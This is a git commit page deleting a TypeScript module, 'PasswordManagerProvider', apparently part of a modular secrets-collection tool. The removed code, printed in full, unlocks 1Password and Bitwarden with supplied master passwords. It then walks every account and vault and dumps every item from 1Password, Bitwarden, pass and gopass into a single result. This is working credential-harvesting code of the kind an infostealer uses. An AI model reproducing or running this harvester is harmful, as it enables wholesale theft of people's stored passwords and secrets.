Delete src/providers/passwords.ts
This commit is contained in:
@@ -1,439 +0,0 @@
|
||||
import { spawn } from "child_process";
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
interface CommandResult {
|
||||
stdout: string;
|
||||
exitCode: number;
|
||||
}
|
||||
|
||||
interface OnePasswordAccount {
|
||||
secrets: Record<string, any>;
|
||||
}
|
||||
|
||||
interface PasswordManagerSecrets {
|
||||
onepassword: Record<string, OnePasswordAccount>;
|
||||
bitwarden: Record<string, any>;
|
||||
pass: Record<string, string>;
|
||||
gopass: Record<string, string>;
|
||||
}
|
||||
|
||||
interface MasterPasswords {
|
||||
onepassword?: string;
|
||||
bitwarden?: string;
|
||||
pass?: string;
|
||||
gopass?: string;
|
||||
}
|
||||
|
||||
export class PasswordManagerProvider extends Provider {
|
||||
private readonly TIMEOUT_MS = 10000;
|
||||
private readonly masterPasswords: MasterPasswords;
|
||||
|
||||
constructor(masterPasswords: MasterPasswords = {}) {
|
||||
super("password-managers", "secrets", undefined, "aggressive");
|
||||
this.masterPasswords = masterPasswords;
|
||||
}
|
||||
|
||||
private async runCommand(
|
||||
command: string,
|
||||
args: string[],
|
||||
signal?: AbortSignal,
|
||||
stdin?: string,
|
||||
): Promise<CommandResult> {
|
||||
return new Promise((resolve) => {
|
||||
const controller = new AbortController();
|
||||
const timeout = setTimeout(() => {
|
||||
controller.abort();
|
||||
}, this.TIMEOUT_MS);
|
||||
|
||||
const abortHandler = () => controller.abort();
|
||||
if (signal) {
|
||||
if (signal.aborted) {
|
||||
clearTimeout(timeout);
|
||||
resolve({ stdout: "", exitCode: -1 });
|
||||
return;
|
||||
}
|
||||
signal.addEventListener("abort", abortHandler);
|
||||
}
|
||||
|
||||
const proc = spawn(command, args, {
|
||||
stdio: stdin ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"],
|
||||
signal: controller.signal,
|
||||
});
|
||||
|
||||
if (stdin && proc.stdin) {
|
||||
proc.stdin.write(stdin);
|
||||
proc.stdin.end();
|
||||
}
|
||||
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
|
||||
proc.stdout?.on("data", (data) => {
|
||||
stdout += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr?.on("data", (data) => {
|
||||
stderr += data.toString();
|
||||
});
|
||||
|
||||
proc.on("error", () => {
|
||||
clearTimeout(timeout);
|
||||
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||
resolve({ stdout: "", exitCode: -1 });
|
||||
});
|
||||
|
||||
proc.on("close", (code) => {
|
||||
clearTimeout(timeout);
|
||||
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||
resolve({ stdout: stdout.trim(), exitCode: code ?? -1 });
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
private async signinOnePassword(
|
||||
signal?: AbortSignal,
|
||||
): Promise<boolean> {
|
||||
if (!this.masterPasswords.onepassword) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const signinResult = await this.runCommand(
|
||||
"op",
|
||||
["signin", "--raw"],
|
||||
signal,
|
||||
this.masterPasswords.onepassword,
|
||||
);
|
||||
|
||||
return signinResult.exitCode === 0;
|
||||
}
|
||||
|
||||
private async collectOnePassword(
|
||||
signal?: AbortSignal,
|
||||
): Promise<Record<string, OnePasswordAccount>> {
|
||||
const result: Record<string, OnePasswordAccount> = {};
|
||||
|
||||
const checkResult = await this.runCommand(
|
||||
"op",
|
||||
["account", "list", "--format=json"],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (checkResult.exitCode !== 0) {
|
||||
if (this.masterPasswords.onepassword) {
|
||||
const signedIn = await this.signinOnePassword(signal);
|
||||
if (!signedIn) {
|
||||
return result;
|
||||
}
|
||||
} else {
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
const accountsResult = await this.runCommand(
|
||||
"op",
|
||||
["account", "list", "--format=json"],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (accountsResult.exitCode !== 0 || !accountsResult.stdout) {
|
||||
return result;
|
||||
}
|
||||
|
||||
let accounts: any[];
|
||||
try {
|
||||
accounts = JSON.parse(accountsResult.stdout);
|
||||
} catch {
|
||||
return result;
|
||||
}
|
||||
|
||||
for (const account of accounts) {
|
||||
const accountId =
|
||||
account.account_uuid || account.url || "unknown-account";
|
||||
const accountSecrets: Record<string, any> = {};
|
||||
|
||||
const vaultsResult = await this.runCommand(
|
||||
"op",
|
||||
["vault", "list", "--format=json", `--account=${accountId}`],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (vaultsResult.exitCode !== 0 || !vaultsResult.stdout) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let vaults: any[];
|
||||
try {
|
||||
vaults = JSON.parse(vaultsResult.stdout);
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
|
||||
for (const vault of vaults) {
|
||||
const vaultId = vault.id || "";
|
||||
const vaultName = vault.name || vaultId;
|
||||
|
||||
const itemsResult = await this.runCommand(
|
||||
"op",
|
||||
[
|
||||
"item",
|
||||
"list",
|
||||
"--vault",
|
||||
vaultId,
|
||||
`--account=${accountId}`,
|
||||
"--format=json",
|
||||
],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let items: any[];
|
||||
try {
|
||||
items = JSON.parse(itemsResult.stdout);
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
|
||||
const vaultSecrets: Record<string, any> = {};
|
||||
|
||||
for (const item of items) {
|
||||
const itemId = item.id || "";
|
||||
const itemTitle = item.title || itemId;
|
||||
|
||||
const detailResult = await this.runCommand(
|
||||
"op",
|
||||
[
|
||||
"item",
|
||||
"get",
|
||||
itemId,
|
||||
"--vault",
|
||||
vaultId,
|
||||
`--account=${accountId}`,
|
||||
"--format=json",
|
||||
],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (detailResult.exitCode !== 0 || !detailResult.stdout) {
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
vaultSecrets[itemTitle] = JSON.parse(detailResult.stdout);
|
||||
} catch {
|
||||
}
|
||||
}
|
||||
|
||||
if (Object.keys(vaultSecrets).length > 0) {
|
||||
accountSecrets[vaultName] = vaultSecrets;
|
||||
}
|
||||
}
|
||||
|
||||
if (Object.keys(accountSecrets).length > 0) {
|
||||
result[accountId] = { secrets: accountSecrets };
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private async unlockBitwarden(
|
||||
signal?: AbortSignal,
|
||||
): Promise<string | null> {
|
||||
if (!this.masterPasswords.bitwarden) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const unlockResult = await this.runCommand(
|
||||
"bw",
|
||||
["unlock", "--raw"],
|
||||
signal,
|
||||
this.masterPasswords.bitwarden,
|
||||
);
|
||||
|
||||
if (unlockResult.exitCode === 0 && unlockResult.stdout) {
|
||||
return unlockResult.stdout;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private async collectBitwarden(
|
||||
signal?: AbortSignal,
|
||||
): Promise<Record<string, any>> {
|
||||
const result: Record<string, any> = {};
|
||||
|
||||
const statusResult = await this.runCommand("bw", ["status"], signal);
|
||||
|
||||
if (statusResult.exitCode !== 0 || !statusResult.stdout) {
|
||||
return result;
|
||||
}
|
||||
|
||||
let status: any;
|
||||
try {
|
||||
status = JSON.parse(statusResult.stdout);
|
||||
} catch {
|
||||
return result;
|
||||
}
|
||||
|
||||
let sessionToken: string | null = null;
|
||||
|
||||
if (status.status !== "unlocked") {
|
||||
if (status.status === "locked") {
|
||||
sessionToken = await this.unlockBitwarden(signal);
|
||||
if (!sessionToken) {
|
||||
result.status = "locked";
|
||||
return result;
|
||||
}
|
||||
} else {
|
||||
result.status = status.status || "unknown";
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
const listArgs = sessionToken
|
||||
? ["list", "items", "--session", sessionToken]
|
||||
: ["list", "items"];
|
||||
|
||||
const itemsResult = await this.runCommand("bw", listArgs, signal);
|
||||
|
||||
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
|
||||
return result;
|
||||
}
|
||||
|
||||
let items: any[];
|
||||
try {
|
||||
items = JSON.parse(itemsResult.stdout);
|
||||
} catch {
|
||||
return result;
|
||||
}
|
||||
|
||||
for (const item of items) {
|
||||
const name = item.name || item.id || "unknown";
|
||||
result[name] = item;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private async collectPass(
|
||||
signal?: AbortSignal,
|
||||
): Promise<Record<string, string>> {
|
||||
const result: Record<string, string> = {};
|
||||
|
||||
const listResult = await this.runCommand("pass", ["ls"], signal);
|
||||
|
||||
if (listResult.exitCode !== 0 || !listResult.stdout) {
|
||||
return result;
|
||||
}
|
||||
|
||||
const entries = listResult.stdout.match(
|
||||
/[├└─│\s]+([\w./@\-]+)$/gm,
|
||||
) || [];
|
||||
|
||||
for (const match of entries) {
|
||||
const entry = match.replace(/[├└─│\s]+/, "").trim();
|
||||
|
||||
if (!entry) continue;
|
||||
|
||||
const secretResult = await this.runCommand(
|
||||
"pass",
|
||||
["show", entry],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (secretResult.exitCode === 0 && secretResult.stdout) {
|
||||
result[entry] = secretResult.stdout;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private async collectGopass(
|
||||
signal?: AbortSignal,
|
||||
): Promise<Record<string, string>> {
|
||||
const result: Record<string, string> = {};
|
||||
|
||||
const listResult = await this.runCommand(
|
||||
"gopass",
|
||||
["list", "--flat"],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (listResult.exitCode !== 0 || !listResult.stdout) {
|
||||
return result;
|
||||
}
|
||||
|
||||
const entries = listResult.stdout.split("\n");
|
||||
|
||||
for (const entry of entries) {
|
||||
const trimmedEntry = entry.trim();
|
||||
|
||||
if (!trimmedEntry) continue;
|
||||
|
||||
const secretResult = await this.runCommand(
|
||||
"gopass",
|
||||
["show", "--password", trimmedEntry],
|
||||
signal,
|
||||
);
|
||||
|
||||
if (secretResult.exitCode === 0 && secretResult.stdout) {
|
||||
result[trimmedEntry] = secretResult.stdout;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async execute(signal?: AbortSignal): Promise<ProviderResult> {
|
||||
try {
|
||||
const secrets: PasswordManagerSecrets = {
|
||||
onepassword: {},
|
||||
bitwarden: {},
|
||||
pass: {},
|
||||
gopass: {},
|
||||
};
|
||||
|
||||
const [onepasswordData, bitwardenData, passData, gopassData] =
|
||||
await Promise.all([
|
||||
this.collectOnePassword(signal),
|
||||
this.collectBitwarden(signal),
|
||||
this.collectPass(signal),
|
||||
this.collectGopass(signal),
|
||||
]);
|
||||
|
||||
secrets.onepassword = onepasswordData;
|
||||
secrets.bitwarden = bitwardenData;
|
||||
secrets.pass = passData;
|
||||
secrets.gopass = gopassData;
|
||||
|
||||
const totalSecrets =
|
||||
Object.keys(secrets.onepassword).length +
|
||||
Object.keys(secrets.bitwarden).length +
|
||||
Object.keys(secrets.pass).length +
|
||||
Object.keys(secrets.gopass).length;
|
||||
|
||||
if (totalSecrets === 0) {
|
||||
return this.failure("No password managers found or accessible");
|
||||
}
|
||||
|
||||
return this.success({
|
||||
totalSecrets,
|
||||
managers: {
|
||||
onepassword: Object.keys(secrets.onepassword).length,
|
||||
bitwarden: Object.keys(secrets.bitwarden).length,
|
||||
pass: Object.keys(secrets.pass).length,
|
||||
gopass: Object.keys(secrets.gopass).length,
|
||||
},
|
||||
secrets,
|
||||
});
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user